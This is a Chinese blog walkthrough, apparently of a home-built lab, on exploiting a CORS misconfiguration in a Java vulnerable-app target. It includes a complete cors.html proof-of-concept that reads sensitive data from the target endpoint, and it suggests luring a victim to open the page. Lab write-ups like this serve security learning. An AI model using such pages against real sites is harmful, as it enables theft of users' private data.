我是使用kali虚拟机搭建的靶场，具体搭建步骤可以看我之前的博客内容。
访问靶机地址，打开java反序列化的
点进去后是如图的页面，随便输入一信息。
可以看到敏感信息直接显示在了页面上。
访问192.168.189.141:8080/cors1，可以看到敏感信息直接显示到了页面上。
抓包查看到有cors1漏洞
将以下代码保存为一个cors.html文件，诱惑受害者点击
<html>
<head>
<script type="text/javascript">
// 当前窗口加载完毕,执行cors函数
window.onload = function cors() {
// 初始化一个xhttp变量
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(
this.responseText
);
}
};
xhttp.open("GET", "http://192.168.189.141:8080/cors1", true); // 只需要修改存在cors的url即可
xhttp.withCredentials = false;
xhttp.send();
};
</script>
</head>
<body>
<textarea id="demo"></textarea>
</body>
</html>利用web服务器
将脚本放在web服务器上，将url发给受害者。但是没有受害者，我们自己模拟一下受害者访问url地址172.16.1.65/cors.html
![[C++] 容器适配器：深入理解Stack与Queue的底层原理](https://img-blog.csdnimg.cn/img_convert/f131b93eba44df4ebf9d71cdb58a4611.png)
